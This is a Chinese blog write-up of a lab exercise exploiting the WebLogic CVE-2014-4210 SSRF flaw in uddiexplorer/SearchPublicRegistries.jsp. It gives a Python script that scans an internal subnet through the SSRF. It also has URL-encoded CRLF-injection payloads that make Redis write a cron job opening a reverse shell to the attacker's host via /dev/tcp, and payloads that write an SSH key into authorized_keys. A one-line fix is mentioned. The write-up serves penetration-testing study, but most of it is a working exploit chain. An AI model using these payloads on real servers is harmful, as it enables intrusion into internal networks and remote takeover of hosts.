weblogic CVE-2014-4210 SSRF漏洞

CVE-2014-4210 SSRF漏洞

Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中Redis、Fastcgi等脆弱组件

该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

SSRF:服务端请求伪造,伪造存在该漏洞的服务器对外发送请求,攻击者可以利用该漏洞对内网不对外开放的服务器进行攻击,如Redis和Fastjson

检测漏洞

①直接用weblogicscan扫描

②测试一下

漏洞修复

Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了

脚本
import requests
url ="http://xxx.xxx.xx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp" #漏洞地址
ip="172.17.0"#内网网段
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]#常见端口
for i in range(1,255):
    for port in ports:
        params = dict(
        rdoSearch = "name",
        txtSearchname = "sdf",
        selfor = "Business+location",
        btnSubmit = "Search",
        operator = "http://"+ip+".{}:{}".format(i,port))#构造operator
        try:
            r = requests.post(url, params=params, timeout = 3)#发起POST请求
            if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
                print('[*] http://'+ip+'.{}:{}'.format(i, port))
            else:
                pass
        except:
            pass
利用链——定时任务反弹shell
  1. 首先尝试是否可以不登陆进入/uddiexplorer.war/SearchPublicRegistries.jsp,并且随意输入一组数据search一下

    image-20230411114601986

    看到如上图红框所示,向该网址请求数据了,大概率存在SSRF漏洞

  2. 抓个包看看这个wwwxxxx是从哪来的

    image-20230411114931387

    如图,看到在请求时post传了个oerator,其中url编码了但是隐约可以看出来是www-3xxxx

    所以我们给他解码,然后用hackbar进行尝试

    operator=http://www-3.ibm.com/services/uddi/inquiryapi&rdoSearch=name&txtSearchname=22&txtSearchkey=22&txtSearchfor=22&selfor=Business+location&btnSubmit=Search

  3. 将operator的值改为http://127.0.0.1:7001

    image-20230411133110899

  4. 将operator的值改为http://127.0.0.1:7000

    image-20230411133220998

  5. 用上述3/4的方法可以判断weblogic服务器开启的端口

    此外,还可以进行存活主机探测,但需要提前搞到weblogic服务器所在网段,可以使用其他漏洞或信息收集搞到

    如果搞不到网段直接探测效率极低

    我的靶场部署到vps上,网段为172.17.0.x/24,且开启了一台redis服务器

    将operator的值改为http://172.17.0.1

    image-20230411133653789

  6. 再随便搞个不存在的主机http://172.17.0.12

    image-20230411133800006

  7. 接下来就是搞脚本批量扫了

    脚本前面写啦,直接运行

    image-20230411134257398

    可以看到已经扫出6379啦

  8. 由于一些问题后面的redis网段变了一下,但是是一样的

    用网页访问一下

    image-20230411220824432

    这就说明成了,可以尝试利用了

  9. 既然探测到6379(redis),就要想办法利用了

    redis可能存在未授权访问漏洞,同时redis默认是不对外开放的,意思就是说只有内网可以访问redis服务器,外网访问不到,这时候就体现出了SSRF请求伪造漏洞的作用

    就算redis服务器上一堆漏洞未修复,但是你访问不到,根本就不对外开放,你也没有任何办法,只能眼巴巴的瞅着

    这时候你发现了一个SSRF漏洞而且和redis是同内网的!

    我敲,这不聊次一下都说不过去

    简言之就是,SSRF可以以存在该漏洞的服务器的身份访问内网,相当于一个连通内网的跳板

    image-20230411140802018

  10. 接下来就是利用ssrf搞内网redis了

    ps:我的VPS出问题了,shell弹不出来不知道为啥,玄学问题,所以后面就直接用本地kali演示了,IP地址也发生了一些改变

    然后kali也出问题了,docker拉取的vulhub拉取的weblogic/ssrf 镜像,启动后只启动了weblogic,redis起不来,很怪异

    这玩意恶心了我两天,终于在今天解决了!

    ps:网上找不到类似的问题,很难受

    问题原因是因为高版本kali内核的问题好像

    先 vim/etc/default/grub

    image-20230413144236974

    如图修改值为"vsyscall=emulate"

    然后update-grub

    最后reboot

    重启后就可以开启redis的容器了,可喜可贺

    redis:172.19.0.2 端口6379

    weblogic:172.19.0.3 端口7001

    kali:192.168.27.137

    特意选了不同网段,模拟一下外网攻击内网机器

    破案了,应该是我VPS的NC有问题,接收不到shell,回来再修吧,继续实验

    payload:

    到这一步其实就和redis定时任务反弹shell一样了,因为某种原因redis未授权我还没上传想了解的可以搜搜大佬的

    先构造一手redis定时任务反弹shell的payload

    set x “\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n”

    config set dir /var/spool/cron

    config set dbfilename root

    save

    下一手就是通过ssrf执行了,需要url编码一下

    operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi

    &rdoSearch=name&txtSearchname=11&txtSearchkey=11&txtSearchfor=11&selfor=Business+location&btnSubmit=Search

    还记的这个不,这个是weblogic SSRF存在的漏洞点,我们需要利用operator这个参数

    重新构造一下operator

    operator=http://172.19.0.2:6379/text
    
    
    
    set x "\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n"
    
    config set dir /var/spool/cron
    
    config set dbfilename root
    
    save
    
    
    
    aaaa
    

    这里的/text是随便加的,然后需要url编码一下

    operator=http%3A%2F%2F127.0.0.1%3A6379%2Ftext%0D%0A%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20sh%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.27.137%2F8023%200%3E%261%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0A%0Aconfig%20set%20dbfilename%20root%0D%0A%0D%0Asave%0D%0A%0D%0Aaaa

    注:换行符是%0D%0A

    最后先开启监听8023端口,然后在burp中修改operator的值为payload,发包,等待漫长的一分钟

    image-20230413152409964

    成功getshell!

    可喜可贺可喜可贺!!!!!

写入ssh公钥反弹shell

这个就很简单了,只需要更改payload为写入公钥就行了

其实这里就是redis未授权了,就是用ssrf连一下redist而已

  1. 生成公钥

    kali中输入

    ssh-keygen -t rsa

    默认目录,密码为空(全直接回车即可)

    image-20230413152852891

  2. 查看公钥

    cat /root/.ssh/id_rsa.pub

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali

  3. 构造payload

    operator=http://172.19.0.2:6379/text
    
    
    
    set x "\n\n\n\n AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali \n\n\n\n"
    
    config set dir /root/.ssh
    
    config set dbfilename authorized_keys
    
    save
    
    
    
    aaaa
    
  4. 转url发送

    http%3A%2F%2F172.19.0.2%3A6379%2Ftext%0A%0A%0A%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D%2FX%2BuapOcFw2%2FPuxfSet45fiWdnQQoI4WHVZBAhturHiM%2Ff9JNZgTmCO42jtPC%2BolHG6RA5JBolBtki3%2BsWUv%2F6LrTECrnueU%2BFqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr%2BzPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW%2BvPestFTkzQ%2FBHvGWdSmVoYq%2FDxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg%2BqJ9AneHwIn5EXYLrXlXBL%2BJRB9P0r5HzUQAjx0O8RWBUTE%2F%2BGGhuAs9SMZE9OunDdzaigxXUlmdh%2BXRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK%2FVXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud%2Be7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH%2BlvvkHWFMuW70XpBhJVkR9ank%3D%20root%40kali%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0A%0D%0Aconfig%20set%20dbfilename%20authorized_keys%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaaa

很可惜,vulhub中的redis镜像没有ssh,所以测不了,不过redis测过啦,跟反弹shell差不多应该没啥问题

这个实验搞的我身心俱疲,先是用的VPS搭建vulfocus,出现redis不回数据的问题,搞半天;然后直接VPS拉取vulhub的镜像出现连接不到反弹shell的问题(但是成功写入了,其实也算完成实验了),最后本地搞出来啦,结果没有ssh,猛男哭泣!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值